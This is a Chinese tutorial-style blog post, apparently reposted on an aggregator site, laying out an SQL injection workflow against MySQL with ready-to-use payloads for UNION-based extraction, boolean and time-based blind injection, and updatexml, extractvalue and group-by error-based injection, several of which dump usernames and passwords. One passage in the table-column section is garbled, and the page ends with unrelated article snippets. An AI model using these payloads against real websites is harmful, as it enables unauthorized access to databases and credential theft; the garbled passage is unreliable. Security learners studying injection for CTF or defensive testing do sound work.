SQL注入流程与常用语句

FLAG:别来我梦里了,我已负担不起醒来的失落
专研方向: Mysql,sql注入
每日emo:好久不见,寒暄几句,缺耗尽了半生的勇气

欢迎各位与我这个菜鸟交流学习

在这里插入图片描述

SQL注入流程与常用语句

1、判断注入类型,数字型还是字符型

数字型

$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";

字符型

$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

注意:?表示传递参数,通常都是在页面后会有?id=数值,这样的方式传递参数给服务器,然后给我们返 回参数对应的页面信息,我们发现我们是在/后面直接使用?传递参数,此时参数会传递给默认页面。

方法一: order by 法
构造payload为:id=1 order by 9999 --+
如果正确返回页面,则为字符型
否则,为数字型

分析:字符型执行的sql语句为select * from user where id=‘1 order by 9999 --+’,注释符【-
-】实际上在执行的时候,被当成id的一部分,也就是说,在执行sql语句的时候,条件是id=‘1 order by 9999 --+’。最终只会截取前面的数字,返回id=1的结果。 如果是数字型的话,执行的sql语句为select * from user where id=1 order by 9999 --+,在现实生活中,根本就没什么可能会存在有9999个字段的表,所以会报错。

方法二:逻辑判断法

这就很简单了,就是猜,但是也得知道一点技巧。 比如说,id这种,一般在数据库存储为int类型的,在查询时,可能是数字型,也可能是字符型。
但是,如果是name或者username之类的,按正常逻辑,一看就知道是以varchar或者char存储的,那指定就是字符型了,因为不加引号,sql语句绝对报错。

在这里插入图片描述

如果不加引号:
在这里插入图片描述

2、猜解sql查询语句中的字段数

在这一步中,尝试去猜测出查询语句中的字段个数,如下注入语句所示,假设为字符型注入,先利用1’实现引号闭环,再利用or 1=1这样可以暴露出表中所有的数据,最后利用order by num#去看是否报错来明确查询语句中的字段数,其中#号用于截断sql查询语句。

1' or 1=1 order by 1 #
1' or 1=1 order by 2 #

或者

1' or 1=1 union select 1, 2, 3 #

3、确定字段的显示顺序(回显位)

这里我们直接使用union就行,如下
代码所示,这里我们故意扰乱了first_name和last_name的两个位置,查询出来结果中的1,2会指明数据字段在查询语句中的位置。

1' union select 1, 2 #
 ' or 1=1 union select 1,database(),3 limit 1,2;#--

在这里插入图片描述

4、获取当前数据库

通过前面的字段数确定以及显示顺序确定,我们就可以结合union操作来获取数据库中的信息了。如下代码所示,展示了获取数据库名的操作,根据前面已经获取到的字段数以及位置关系,假设有两个字段,那么下面的查询语句将会把数据库的名称放在第二个字段中。

1' union select 1, database() #

在这里插入图片描述


示例公式
查看数据库表的数量

' or 1=1 union select 1,(select count(*) from information_schema.tables where table_schema = 'web2'),3 limit 1,2;#-- 

查表的名字
第一个表:

' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = 'web2' limit 0,1),3 limit 1,2;#-- 

第二个表:

 ' or 1=1 union select 1,(select table_name from information_schema.tables where table_schema = 'web2' limit 1,2),3 limit 1,2;#-- 

查flag表列的数量

' or 1=1 union select 1,(select count(*) from information_schema.columns where table_name = 'flag' limit 0,1),3 limit 1,2;#-- 

.查flag表列的名字

' or 1=1 union select 1,(select column_name from information_schema.columns where table_name = 'flag' limit 0,1),3 limit 1,2;#-- 

查flag表记录的数量

' or 1=1 union select 1,(select count(*) from flag),3 limit 1,2;#-- 

查flag表记录值

' or 1=1 union select 1,(select flag from flag limit 0,1),3 limit 1,2;#--

5、获取数据库中的表

在获取到当前数据库名后,我们可以进一步获取其中表的信息。如下代码和截图所示,展示了获取数据库中表的信息,information_schema是MySql自带的信息数据库,用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等,其中的表实际上都是视图。information_schema的tables表记录了数据库中表的信息,指定table_schema的名称即可显示对应数据库中表的信息

1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() #

在这里插入图片描述

6、获取表中的字段名

进一步获取其中的字段名,假设要获取的表为users,如下面的代码和截图所示。information_schema的columns表存储了表中列的信息,也就是表中字段信息,指定table_name表名,即可获取到对应表的字段信息。

1' union select 1, c'c'c'c'c获取字段信息:
1' union select 1, 2, group_concat(字段名) from 表名字#
?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1(查找admin表的第一列字段)

在这里插入图片描述

8.布尔盲注:

无回显位:

?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。

lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4

?id=1'and ascii(substr((select database()),1,1))=115--+

#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。
ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。

?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+

判断所有表名字符长度。

?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+

逐一判断表名

?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+

判断所有字段名的长度

?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+

逐一判断字段名。

?id=1' and length((select group_concat(username,password) from users))>109--+

判断字段内容长度

?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+

逐一检测内容。

8.时间盲注:

?id=1' and if(1=1,sleep(5),1)--+

判断参数构造。

?id=1'and if(length((select database()))>9,sleep(5),1)--+

判断数据库名长度

?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+

逐一判断数据库字符

?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+

判断所有表名长度

?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+

逐一判断表名

?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+

判断所有字段名的长度

?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+

逐一判断字段名。

?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+

判断字段内容长度

?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+

逐一检测内容。

9.updatexml报错注入:

123' and (updatexml(1,concat(0x5c,version(),0x5c),1))#     爆版本
123' and (updatexml(1,concat(0x5c,database(),0x5c),1))#    爆数据库
123' and (updatexml(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c),1))# 爆表名
123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='users'),0x5c),1))#爆字段名
123' and (updatexml(1,concat(0x5c,(select password from (select password from users where username='admin1') b),0x5c),1))#爆密码该格式针对mysql数据库。

爆其他表就可以,下面是爆emails表

123' and (updatexml(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name ='emails'),0x5c),1))#
1' and (updatexml (1,concat(0x5c,(select group_concat(id,email_id) from emails),0x5c),1))#   爆字段内容。

10.Extractvalue报错注入:

1' and (extractvalue(1,concat(0x5c,version(),0x5c)))#    爆版本

1' and (extractvalue(1,concat(0x5c,database(),0x5c)))#   爆数据库

1' and (extractvalue(1,concat(0x5c,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x5c)))#   爆表名

1' and (extractvalue(1,concat(0x5c,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x5c)))# 
 爆字段名

1' and (extractvalue(1,concat(0x5c,(select password from (select password from users where username='admin1') b) ,0x5c)))#      爆字段内容该格式针对mysql数据库。


1' and (extractvalue(1,concat(0x5c,(select group_concat(username,password) from users),0x5c)))#                      爆字段内容。

11.groupby报错注入

123' and (select count(*) from information_schema.tables group by concat(database(),0x5c,floor(rand(0)*2)))#     爆数据库
123' and (select count(*) from information_schema.tables group by concat(version(),0x5c,floor(rand(0)*2)))#      爆数据库版本
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1),0x7e,floor(rand(0)*2)))#    通过修改limit后面数字一个一个爆表
1' and (select count(*) from information_schema.tables where table_schema=database() group by concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e,floor(rand(0)*2)))#        爆出所有表
1' and (select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),0x7e,floor(rand(0)*2)))#    爆出所有字段名
1' and (select count(*) from information_schema.columns group by concat(0x7e,(select group_concat(username,password) from users),0x7e,floor(rand(0)*2)))#    爆出所有字段名
1' and (select 1 from(select count(*) from information_schema.columns where table_schema=database() group by concat(0x7e,(select password from users where username='admin1'),0x7e,floor(rand(0)*2)))a)#    爆出该账户的密码。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/351319.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

华为三层交换机之基本操作

Telnet简介 Telnet是一个应用层协议,可以在Internet上或局域网上使用。它提供了基于文本的远程终端接口,允许用户在本地计算机上登录到远程计算机,然后像在本地计算机上一样使用远程计算机的资源。Telnet客户端和服务器之间的通信是通过Telnet协议进行的…

element-UI上传文件后valid提示不消失

问题描述&#xff1a;上传文件完成后&#xff0c;必填信息提示不消失 解决方法&#xff1a;在<el-form-item>标签添加show-message属性&#xff0c;字段为空时才显示提示信息 <el-form-item :prop"fileList" :show-message"!form.fileList || !form.f…

web服务和前端交互相关的上中游业务技术知识点梳理

文章目录 前言一、业务API网关鉴权Cookie Session 实现 API 鉴权API Key API Secrettoken 机制实现 API 鉴权 二、Tomcat、Servlet、SpringMVC总结 前言 可能之前在学校里面做的很多东西是纯后端的&#xff0c;不会涉及到太多和前端交互的细节&#xff0c;很多新手对前后端交…

MR image smoothing or filtering 既 FWHM与sigma之间的换算关系 fslmaths -s参数

这里写目录标题 FWHM核高斯核中的sigma是有一个换算公式&#xff1a;结果 大量的文献中都使用FWHM 作为单位&#xff0c;描述对MR等数据的平滑&#xff08;smoothing&#xff09;或者滤波&#xff08;filtering&#xff09;过程。FWHM 通常是指full width at half maximum的缩写…

你是在思考,还是找认同?

这两天&#xff0c;有一篇批判腾讯的文章&#xff0c;开始在互联网圈子里流传开来。 我身边也有人在传播。好奇瞅了下&#xff0c;观察到一个很有意思的地方&#xff1a; 赞同这篇文章的&#xff0c;往往也都是平时那些认为&#xff0c;腾讯面对阿里和字节的冲击岌岌可危的&…

配置dns主从服务器,实现正反向解析

一、安装bind服务 yum install bind -y二、修改主配置文件/etc/named.conf 三、配置数据配置文件/var/named/baidu 四、重启服务&#xff0c;进行测试 systemctl restart named

南昌市青山湖、滕王阁、洛阳路隧道FM调频广播集群通信调度系统应用案例

一、用户需求 青山湖隧道&#xff0c;是南昌市一条东西走向的城市主干道&#xff0c;隧道为双向6车道&#xff0c;长1070米&#xff0c;其中湖底暗埋段为550米&#xff0c;净高5.45米&#xff0c;两孔每孔净宽12.4米。 滕王阁隧道是南昌市沿江北大道与沿江中大道连通工程&#…

【代码随想录-数组】移除元素

💝💝💝欢迎来到我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学习,不断总结,共同进步,活到老学到老导航 檀越剑指大厂系列:全面总结 jav…

案例分享 | 助力数字化转型:嘉为科技项目管理平台上线

嘉为科技项目管理平台&#xff08;一期&#xff09;基于易趋&#xff08;EasyTrack&#xff09;进行实施&#xff0c;通过近一年的开发及试运行&#xff0c;现已成功交付上线、推广使用&#xff0c;取得了良好的应用效果。 1.关于广州嘉为科技有限公司&#xff08;以下简称嘉为…

JRT执行SQL脚本

我们可能会从其他库导入表到JRT要支持的库里。或者用其他语言生成导表SQL来让JRT执行SQL创建表和导入数据&#xff0c;为此需要一个能运行SQL脚本文件的脚步。 脚本示例&#xff0c;这个是用JRT的M生成迁移表SQL生成的&#xff1a; 导入SQL的脚本&#xff1a; import JRTBL…

Docker深入解析:从基础到实践

Docker基础知识 Docker是什么&#xff1a;定义和核心概念解释 Docker是一个开源项目&#xff0c;它诞生于2013年&#xff0c;旨在自动化应用程序的部署过程&#xff0c; 让应用程序能够在轻量级的、可移植的、自给自足的容器中运行。这些容器可以在几乎任何机器上运行&#xf…

Task04:DDPG、TD3算法

本篇博客是本人参加Datawhale组队学习第四次任务的笔记 【教程地址】https://github.com/datawhalechina/joyrl-book 【强化学习库JoyRL】https://github.com/datawhalechina/joyrl/tree/main 【JoyRL开发周报】 https://datawhale.feishu.cn/docx/OM8fdsNl0o5omoxB5nXcyzsInGe…

js中字符串string,遍历json/Object【匹配url、邮箱、电话,版本号,千位分割,判断回文】

目录 正则 合法的URL 邮箱、电话 字符串方法 千位分割&#xff1a;num.slice(render, len).match(/\d{3}/g).join(,) 版本号比较 判断回文 json/Object 遍历 自身属性 for...inhasOwnProperty(key) Object.获取数组(obj)&#xff1a;Object.keys&#xff0c;Object…

ENVI下基于知识决策树提取地表覆盖信息

基于知识的决策树分类是基于遥感影像数据及其他空间数据,通过专家经验总结、简单的数学统计和归纳方法等,获得分类规则并进行遥感分类。分类规则易于理解,分类过程也符合人的认知过程,最大的特点是利用的多源数据。 决策树分类主要的工作是获取规则,本文介绍使用CART算法…

10 个能恢复硬盘丢失文件的数据恢复软件

用于从计算机、外部硬盘驱动器、USB 闪存驱动器、存储卡或其他存储设备恢复丢失、删除或损坏的数据的软件称为数据恢复软件。该软件会在存储设备中搜索丢失或损坏的文件的痕迹&#xff0c;然后再尝试恢复它们。 导致数据丢失或损坏的原因有多种&#xff0c;包括硬件故障、格式…

【论文笔记】《Learning Deconvolution Network for Semantic Segmentation》

重要说明&#xff1a;严格来说&#xff0c;论文所指的反卷积并不是真正的 deconvolution network 。 关于 deconvolution network 的详细介绍&#xff0c;请参考另一篇博客&#xff1a;什么是Deconvolutional Network&#xff1f; 一、参考资料 Learning Deconvolution Netwo…

朴素贝叶斯

一、数学基础 先验概率&#xff08;Prior Probability&#xff09;&#xff1a; 先验概率是在考虑任何新观测数据之前&#xff0c;基于先前的知识或信仰&#xff0c;对事件发生的概率的初始估计。这是对事件的主观先验信仰或经验的量化体现。 记作 P(A)&#xff0c;表示事件 …

NFS远程共享存储

NFS&#xff1a;Network File System 网络文件系统&#xff0c;NFS 和其他文件系统一样&#xff0c;是在 Linux 内核中实现的&#xff0c;因此 NFS 很难做到与 Windows 兼容。NFS 共享出的文件系统会被客户端识别为一个文件系统&#xff0c;客户端可以直接挂载并使用。是Unix系…

《Vue3 基础知识》 Vue2+ElementUI 自动转 Vue3+ElementPlus(GoGoCode)

前言 GoGoCode 一个基于 AST 的 JavaScript/Typescript/HTML 代码转换工具。 AST abstract syntax code 抽象语法树。 实现 第一步&#xff1a;安装 GoGoCode 插件 全局安装最新的 gogocode-cli 即可 npm i gogocode-cli -g查看版本 gogocode-cli -V相关插件说明 插件描述…

2024初学编曲免费软件FL Studio21.2.2

FL Studio在业内也被称作“水果”软件&#xff0c;这是一款功能强大、简单易上手的专业编曲软件。软件中的音效插件库拥有超过25种音效插件&#xff0c;能够帮助激发我们的创作灵感。而FL Studio中文还推出了训练营课程&#xff0c;初学者可以在训练营中进行编曲知识的学习&…
最新文章